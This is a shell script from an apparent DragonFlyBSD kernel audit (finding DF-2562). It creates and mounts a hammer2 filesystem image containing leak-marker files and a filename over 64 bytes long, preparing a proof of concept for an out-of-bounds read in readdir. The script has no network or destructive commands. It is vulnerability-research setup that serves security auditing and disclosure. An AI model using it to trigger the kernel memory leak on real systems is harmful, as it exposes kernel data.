DragonFlyBSD Kernel Audit
DF-2562 / setup_image.sh
← back to finding ↓ download raw
#!/bin/sh
# setup_image.sh - Create a hammer2 filesystem image with a >64-byte-named file
# for DF-2562 readdir OOB-read PoC.  Run as root in the guest.
set -e
IMG=/root/h2.img

rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count=64 2>&1 | tail -1

vnconfig -c vn0 "$IMG"
newfs_hammer2 /dev/vn0 2>&1 | tail -3

mkdir -p /mnt/h2test
mount_hammer2 /dev/vn0@DATA /mnt/h2test

mkdir -p /mnt/h2test/testdir
echo "PAYLOAD_CONTENT_HERE_FOR_LEAK_DETECTION_XXXXXXXX" \
    > /mnt/h2test/testdir/AAAABBBBCCCCDDDDEEEEFFFF.txt
echo "second_file_for_readdir_content_ZZZZZZZZZZ" \
    > /mnt/h2test/testdir/second_file_padding.txt
# >64-byte filename forces a DIRENT with a separate data block
touch "/mnt/h2test/testdir/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.txt"

ls -la /mnt/h2test/testdir/
echo "--- name lengths ---"
ls /mnt/h2test/testdir/ | awk '{print length($0), $0}'

umount /mnt/h2test
vnconfig -u vn0
echo "SETUP_DONE"